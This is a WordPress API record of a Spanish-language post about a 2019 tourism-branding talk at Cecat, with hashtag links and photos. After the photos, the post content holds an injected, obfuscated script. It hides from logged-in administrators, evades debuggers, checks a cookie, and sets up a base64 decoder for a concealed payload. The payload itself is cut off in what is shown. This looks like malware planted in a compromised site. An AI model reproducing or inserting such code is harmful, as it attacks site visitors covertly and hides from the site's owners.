{"id":1357,"date":"2019-06-28T13:40:17","date_gmt":"2019-06-28T13:40:17","guid":{"rendered":"http:\/\/cecat.com.ar\/?p=1357"},"modified":"2026-06-17T07:38:20","modified_gmt":"2026-06-17T10:38:20","slug":"capacitaciones-branding-turistico","status":"publish","type":"post","link":"https:\/\/cecat.com.ar\/?p=1357","title":{"rendered":"#Capacitaciones. Branding tur\u00edstico"},"content":{"rendered":"<p>Otra jornada de capacitaciones se vivi\u00f3 en Cecat el jueves 27 de junio. El experto en biga data y comunicaciones de marca, <strong>Oscar Suarez,<\/strong> dict\u00f3 en el <strong>Cecat<\/strong> la Conferencia: <strong>&#8220;Branding Tur\u00edstico&#8221;.<\/strong><\/p>\n<p>En el encuentro, al que asistieron estudiantes; prestadores; emprendedores, Suarez dio cuenta de la importancia que las experiencias y percepciones de los usuarios tienen en el proceso de construcci\u00f3n de una marca. El licenciado, comparti\u00f3 experiencias tur\u00edsticas concretas para entender c\u00f3mo construir una imagen de marca positiva y eficiente.<\/p>\n<p><a class=\"_58cn\" href=\"https:\/\/www.facebook.com\/hashtag\/imagendemarca?source=feed_text&amp;epa=HASHTAG&amp;__xts__%5B0%5D=68.ARAPGL5UHGb5g_mx8nJ8f8bk_9wLLuBnHgPWXlXiSgfzF-3xM84kq8NfLmOHcSdF2uBMV9UvmIL-YknU1qoTHUtrr-Ku0CtLAwss7xOMzPHi9CqMp3kP-X0A5eznYZKJe83j8YYpxvV-QEkvMqntF3GqSwdYR5fm9tMNdU8mJZVfDe4p5pcqt-nqgc4xVxnBmOcri3DIrG67IXnZAx3dAMBSJuDmCW7looyHJ5iMa68VRuX5fnCvMJP69Jte1ySxaITXla03o1nK5O8AOfXQRbqWK-T0spwtd3XJFs1AIXGEWqVclgBI0ctOmY8mVYS0y-9rO2K-uIs1j01Orl18z5BWFo-zkRBlPtI&amp;__tn__=%2ANK-R\" data-ft=\"{&quot;type&quot;:104,&quot;tn&quot;:&quot;*N&quot;}\"><span class=\"_5afx\"><span class=\"_58cl _5afz\" aria-label=\"hashtag\">#<\/span><span class=\"_58cm\">imagendemarca<\/span><\/span><\/a>\u00a0<a class=\"_58cn\" href=\"https:\/\/www.facebook.com\/hashtag\/experienciasturisticas?source=feed_text&amp;epa=HASHTAG&amp;__xts__%5B0%5D=68.ARAPGL5UHGb5g_mx8nJ8f8bk_9wLLuBnHgPWXlXiSgfzF-3xM84kq8NfLmOHcSdF2uBMV9UvmIL-YknU1qoTHUtrr-Ku0CtLAwss7xOMzPHi9CqMp3kP-X0A5eznYZKJe83j8YYpxvV-QEkvMqntF3GqSwdYR5fm9tMNdU8mJZVfDe4p5pcqt-nqgc4xVxnBmOcri3DIrG67IXnZAx3dAMBSJuDmCW7looyHJ5iMa68VRuX5fnCvMJP69Jte1ySxaITXla03o1nK5O8AOfXQRbqWK-T0spwtd3XJFs1AIXGEWqVclgBI0ctOmY8mVYS0y-9rO2K-uIs1j01Orl18z5BWFo-zkRBlPtI&amp;__tn__=%2ANK-R\" data-ft=\"{&quot;type&quot;:104,&quot;tn&quot;:&quot;*N&quot;}\"><span class=\"_5afx\"><span class=\"_58cl _5afz\" aria-label=\"hashtag\">#<\/span><span class=\"_58cm\">experienciasturisticas<\/span><\/span><\/a>\u00a0<a class=\"_58cn\" href=\"https:\/\/www.facebook.com\/hashtag\/mktexperiencias?source=feed_text&amp;epa=HASHTAG&amp;__xts__%5B0%5D=68.ARAPGL5UHGb5g_mx8nJ8f8bk_9wLLuBnHgPWXlXiSgfzF-3xM84kq8NfLmOHcSdF2uBMV9UvmIL-YknU1qoTHUtrr-Ku0CtLAwss7xOMzPHi9CqMp3kP-X0A5eznYZKJe83j8YYpxvV-QEkvMqntF3GqSwdYR5fm9tMNdU8mJZVfDe4p5pcqt-nqgc4xVxnBmOcri3DIrG67IXnZAx3dAMBSJuDmCW7looyHJ5iMa68VRuX5fnCvMJP69Jte1ySxaITXla03o1nK5O8AOfXQRbqWK-T0spwtd3XJFs1AIXGEWqVclgBI0ctOmY8mVYS0y-9rO2K-uIs1j01Orl18z5BWFo-zkRBlPtI&amp;__tn__=%2ANK-R\" data-ft=\"{&quot;type&quot;:104,&quot;tn&quot;:&quot;*N&quot;}\"><span class=\"_5afx\"><span class=\"_58cl _5afz\" aria-label=\"hashtag\">#<\/span><span class=\"_58cm\">mktexperiencias<\/span><\/span><\/a>\u00a0<a class=\"_58cn\" href=\"https:\/\/www.facebook.com\/hashtag\/branding?source=feed_text&amp;epa=HASHTAG&amp;__xts__%5B0%5D=68.ARAPGL5UHGb5g_mx8nJ8f8bk_9wLLuBnHgPWXlXiSgfzF-3xM84kq8NfLmOHcSdF2uBMV9UvmIL-YknU1qoTHUtrr-Ku0CtLAwss7xOMzPHi9CqMp3kP-X0A5eznYZKJe83j8YYpxvV-QEkvMqntF3GqSwdYR5fm9tMNdU8mJZVfDe4p5pcqt-nqgc4xVxnBmOcri3DIrG67IXnZAx3dAMBSJuDmCW7looyHJ5iMa68VRuX5fnCvMJP69Jte1ySxaITXla03o1nK5O8AOfXQRbqWK-T0spwtd3XJFs1AIXGEWqVclgBI0ctOmY8mVYS0y-9rO2K-uIs1j01Orl18z5BWFo-zkRBlPtI&amp;__tn__=%2ANK-R\" data-ft=\"{&quot;type&quot;:104,&quot;tn&quot;:&quot;*N&quot;}\"><span class=\"_5afx\"><span class=\"_58cl _5afz\" aria-label=\"hashtag\">#<\/span><span class=\"_58cm\">branding<\/span><\/span><\/a><a class=\"_58cn\" href=\"https:\/\/www.facebook.com\/hashtag\/brandingtur%C3%ADstico?source=feed_text&amp;epa=HASHTAG&amp;__xts__%5B0%5D=68.ARAPGL5UHGb5g_mx8nJ8f8bk_9wLLuBnHgPWXlXiSgfzF-3xM84kq8NfLmOHcSdF2uBMV9UvmIL-YknU1qoTHUtrr-Ku0CtLAwss7xOMzPHi9CqMp3kP-X0A5eznYZKJe83j8YYpxvV-QEkvMqntF3GqSwdYR5fm9tMNdU8mJZVfDe4p5pcqt-nqgc4xVxnBmOcri3DIrG67IXnZAx3dAMBSJuDmCW7looyHJ5iMa68VRuX5fnCvMJP69Jte1ySxaITXla03o1nK5O8AOfXQRbqWK-T0spwtd3XJFs1AIXGEWqVclgBI0ctOmY8mVYS0y-9rO2K-uIs1j01Orl18z5BWFo-zkRBlPtI&amp;__tn__=%2ANK-R\" data-ft=\"{&quot;type&quot;:104,&quot;tn&quot;:&quot;*N&quot;}\"><span class=\"_5afx\"><span class=\"_58cl _5afz\" aria-label=\"hashtag\">#<\/span><span class=\"_58cm\">brandingtur\u00edstico<\/span><\/span><\/a>\u00a0<a class=\"_58cn\" href=\"https:\/\/www.facebook.com\/hashtag\/marcatur%C3%ADstica?source=feed_text&amp;epa=HASHTAG&amp;__xts__%5B0%5D=68.ARAPGL5UHGb5g_mx8nJ8f8bk_9wLLuBnHgPWXlXiSgfzF-3xM84kq8NfLmOHcSdF2uBMV9UvmIL-YknU1qoTHUtrr-Ku0CtLAwss7xOMzPHi9CqMp3kP-X0A5eznYZKJe83j8YYpxvV-QEkvMqntF3GqSwdYR5fm9tMNdU8mJZVfDe4p5pcqt-nqgc4xVxnBmOcri3DIrG67IXnZAx3dAMBSJuDmCW7looyHJ5iMa68VRuX5fnCvMJP69Jte1ySxaITXla03o1nK5O8AOfXQRbqWK-T0spwtd3XJFs1AIXGEWqVclgBI0ctOmY8mVYS0y-9rO2K-uIs1j01Orl18z5BWFo-zkRBlPtI&amp;__tn__=%2ANK-R\" data-ft=\"{&quot;type&quot;:104,&quot;tn&quot;:&quot;*N&quot;}\"><span class=\"_5afx\"><span class=\"_58cl _5afz\" aria-label=\"hashtag\">#<\/span><span class=\"_58cm\">marcatur\u00edstica<\/span><\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1359\" src=\"https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-3-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-3-300x225.jpg 300w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-3-768x576.jpg 768w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-3-1024x768.jpg 1024w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-3-510x382.jpg 510w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-3-1080x810.jpg 1080w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-3.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/> <img loading=\"lazy\" class=\"alignnone size-medium wp-image-1360\" src=\"https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-4-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-4-300x225.jpg 300w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-4-768x576.jpg 768w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-4-1024x768.jpg 1024w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-4-510x382.jpg 510w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-4-1080x810.jpg 1080w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-4.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/> <img loading=\"lazy\" class=\"alignnone size-medium wp-image-1361\" src=\"https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-5-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-5-300x225.jpg 300w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-5-768x576.jpg 768w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-5-1024x768.jpg 1024w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-5-510x382.jpg 510w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-5-1080x810.jpg 1080w, https:\/\/cecat.com.ar\/wp-content\/uploads\/2019\/07\/oscar-suarez-5.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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El experto en biga data y comunicaciones de marca, Oscar Suarez, dict\u00f3 en el Cecat la Conferencia: &#8220;Branding Tur\u00edstico&#8221;. En el encuentro, al que asistieron estudiantes; prestadores; emprendedores, Suarez dio cuenta de la importancia que las experiencias y percepciones de los usuarios [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1358,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/cecat.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/1357"}],"collection":[{"href":"https:\/\/cecat.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cecat.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cecat.com.ar\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cecat.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1357"}],"version-history":[{"count":2,"href":"https:\/\/cecat.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/1357\/revisions"}],"predecessor-version":[{"id":2473,"href":"https:\/\/cecat.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/1357\/revisions\/2473"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cecat.com.ar\/index.php?rest_route=\/wp\/v2\/media\/1358"}],"wp:attachment":[{"href":"https:\/\/cecat.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1357"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cecat.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1357"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cecat.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1357"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}